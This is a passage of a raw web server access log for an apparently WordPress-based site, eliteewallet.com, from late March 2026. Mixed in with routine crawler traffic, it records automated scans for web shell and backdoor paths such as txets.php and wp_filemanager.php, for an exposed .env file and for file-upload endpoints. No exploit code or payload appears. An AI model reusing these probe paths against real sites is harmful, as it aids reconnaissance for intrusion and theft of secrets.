NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 150.109.230.210 - - [27/Mar/2026:13:39:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 87.121.84.99 - - [27/Mar/2026:14:19:41 +0300] "GET /assets/plugins/plupload/examples/upload.php HTTP/1.1" 301 795 "-" "ALittle Client" 199.45.155.80 - - [27/Mar/2026:15:14:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 20.223.176.171 - - [27/Mar/2026:18:23:26 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.135.144.81 - - [27/Mar/2026:18:11:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.8.106.156 - - [27/Mar/2026:20:10:58 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/frontend.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5 Plus) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 185.8.106.156 - - [27/Mar/2026:20:10:58 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/mouse.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.4(0x17000428) NetType/WIFI Language/zh_CN" 141.98.11.17 - - [27/Mar/2026:20:07:28 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 185.8.106.156 - - [27/Mar/2026:20:10:58 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Arrow/ArrowImage/Assets/dist/w-arrow-image.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; alexa site audit/1.0; +http://www.alexa.com/help/webmasters; )" 185.8.106.156 - - [27/Mar/2026:20:10:58 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/slider.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; PRA-LX1 Build/HUAWEIPRA-LX1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36" 106.54.62.156 - - [27/Mar/2026:19:20:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.8.106.156 - - [27/Mar/2026:20:10:58 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/core.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; Redmi Note 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 51.75.119.153 - - [27/Mar/2026:21:04:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 49.51.245.241 - - [27/Mar/2026:18:54:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.8.106.156 - - [27/Mar/2026:20:10:58 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Application/Frontend/Assets/dist/n2.min.js HTTP/1.1" 301 795 "-" "msnbot/1.0 ( http://search.msn.com/msnbot.htm)" 185.8.106.156 - - [27/Mar/2026:20:10:58 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Slider/SliderType/Simple/Assets/dist/smartslider-backgroundanimation.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12" 185.8.106.156 - - [27/Mar/2026:20:10:58 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Slider/SliderType/Simple/Assets/dist/ss-simple.min.js HTTP/1.1" 301 795 "-" "ELinks/0.12~pre5-4" 185.8.106.156 - - [27/Mar/2026:20:10:58 +0300] "GET //eliteewallet.com/wp-content/uploads/theplus-addons/theplus-post-81.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36" 51.75.119.153 - - [27/Mar/2026:21:04:45 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 185.8.106.156 - - [27/Mar/2026:20:10:58 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/jquery-migrate.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G925R6 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36" 62.16.7.112 - - [27/Mar/2026:19:30:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 OPR/89.0.4447.51" 185.8.106.156 - - [27/Mar/2026:20:10:58 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Maxthon/5.2.7.5000" 54.224.193.249 - - [27/Mar/2026:20:16:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.8.106.156 - - [27/Mar/2026:20:10:58 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/lib/jquery-numerator/jquery-numerator.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36" 194.26.192.220 - - [27/Mar/2026:21:53:57 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 4.231.228.236 - - [27/Mar/2026:22:20:52 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 206.189.16.232 - - [27/Mar/2026:21:36:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 194.26.192.220 - - [27/Mar/2026:21:53:56 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.220 - - [27/Mar/2026:21:53:57 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.220 - - [27/Mar/2026:21:53:57 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 206.189.16.232 - - [27/Mar/2026:21:36:37 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 194.26.192.220 - - [27/Mar/2026:21:53:57 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.220 - - [27/Mar/2026:21:53:57 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.220 - - [27/Mar/2026:21:53:57 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.220 - - [27/Mar/2026:21:53:57 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.220 - - [27/Mar/2026:21:53:57 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 18.223.120.62 - - [28/Mar/2026:00:18:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Python-urllib/3.12" 141.98.11.17 - - [28/Mar/2026:00:14:25 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.130.74.193 - - [28/Mar/2026:02:46:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.66.32 - - [28/Mar/2026:01:35:55 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 121.229.185.160 - - [28/Mar/2026:02:19:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.252.70.31 - - [28/Mar/2026:02:40:47 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 66.249.66.77 - - [28/Mar/2026:01:36:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.153 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.163.104.54 - - [28/Mar/2026:04:28:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 176.65.132.19 - - [28/Mar/2026:05:16:22 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 52.178.176.146 - - [28/Mar/2026:08:53:37 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 54.221.23.187 - - [28/Mar/2026:08:57:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 35.213.193.129 - - [28/Mar/2026:09:31:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BuiltWith/1.4; rb.gy/xprgqj) Chrome/124.0.0.0 Safari/537.36" 49.51.183.15 - - [28/Mar/2026:10:40:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 87.106.187.36 - - [28/Mar/2026:11:51:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/119.0.1" 20.63.83.113 - - [28/Mar/2026:12:12:11 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.159.128.155 - - [28/Mar/2026:09:55:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 101.42.46.71 - - [28/Mar/2026:09:39:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 77.90.185.5 - - [28/Mar/2026:08:09:35 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 13.216.211.236 - - [28/Mar/2026:10:28:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 27.46.75.11 - - [28/Mar/2026:11:36:07 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.2719.67 Safari/537.36 OPR/63.0.3368.43" 87.106.187.36 - - [28/Mar/2026:12:46:29 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.linkedin.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36" 43.164.197.224 - - [28/Mar/2026:15:02:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.154.98.125 - - [28/Mar/2026:13:58:47 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 95.111.251.26 - - [28/Mar/2026:15:39:20 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 20.220.232.101 - - [28/Mar/2026:15:16:30 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 221.153.190.28 - - [28/Mar/2026:15:13:35 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.94.31.15 - - [28/Mar/2026:16:34:55 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 43.164.196.57 - - [28/Mar/2026:15:45:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.7.227.204 - - [28/Mar/2026:16:58:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 109.199.118.129 - - [28/Mar/2026:17:19:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.864.54" 87.121.84.62 - - [28/Mar/2026:16:55:06 +0300] "GET /plugins/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 145.220.91.19 - - [28/Mar/2026:18:11:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 128.90.145.161 - - [28/Mar/2026:19:10:01 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.166.224.244 - - [28/Mar/2026:19:51:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.159.145.149 - - [28/Mar/2026:20:55:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 36.41.75.167 - - [29/Mar/2026:00:31:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.63.184.116 - - [29/Mar/2026:00:30:00 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 45.154.98.125 - - [29/Mar/2026:01:06:30 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 66.249.66.200 - - [29/Mar/2026:02:30:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.11 - - [29/Mar/2026:02:28:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.153 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 94.103.173.219 - - [29/Mar/2026:02:50:26 +0300] "GET http://eliteewallet.com/ HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 45.154.98.125 - - [29/Mar/2026:01:06:27 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 4.204.200.32 - - [29/Mar/2026:01:30:12 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 66.249.66.43 - - [29/Mar/2026:02:27:58 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.9 - - [29/Mar/2026:02:30:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 45.154.98.125 - - [29/Mar/2026:01:06:28 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.125 - - [29/Mar/2026:01:06:25 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.125 - - [29/Mar/2026:01:06:26 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.125 - - [29/Mar/2026:01:06:30 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.125 - - [29/Mar/2026:01:06:29 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.125 - - [29/Mar/2026:01:06:26 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.125 - - [29/Mar/2026:01:06:28 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 89.163.146.197 - - [29/Mar/2026:02:07:43 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.166.251.233 - - [29/Mar/2026:02:58:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 124.121.58.98 - - [29/Mar/2026:03:28:32 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 170.106.82.209 - - [29/Mar/2026:03:59:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 199.45.155.87 - - [29/Mar/2026:05:32:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 75.119.148.223 - - [29/Mar/2026:12:36:29 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 20.223.200.22 - - [29/Mar/2026:12:12:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 49.7.227.204 - - [29/Mar/2026:07:30:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 157.48.85.167 - - [29/Mar/2026:07:45:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0" 157.48.84.115 - - [29/Mar/2026:10:48:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0" 43.166.237.57 - - [29/Mar/2026:08:56:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 44.200.231.250 - - [29/Mar/2026:11:18:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 85.137.48.167 - - [29/Mar/2026:09:14:01 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.166.255.122 - - [29/Mar/2026:13:43:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 75.119.156.192 - - [29/Mar/2026:06:03:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 43.166.136.24 - - [29/Mar/2026:09:38:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.173.1.57 - - [29/Mar/2026:14:25:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 115.45.43.251 - - [29/Mar/2026:16:22:30 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.3362.91 Safari/537.36" 102.129.234.176 - - [29/Mar/2026:16:45:55 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 157.15.40.89 - - [29/Mar/2026:17:22:42 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 49.51.183.84 - - [29/Mar/2026:18:13:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.132.172.133 - - [29/Mar/2026:17:40:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 173.252.83.112 - - [29/Mar/2026:18:02:29 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 43.166.130.123 - - [29/Mar/2026:18:57:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.5.82.111 - - [29/Mar/2026:19:27:28 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:27:33 +0300] "GET /.well-known/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:27:38 +0300] "GET /wp-content/users.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:27:43 +0300] "GET /wp-content/wp-activate.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:27:48 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.111 - - [29/Mar/2026:19:27:53 +0300] "GET /app.php 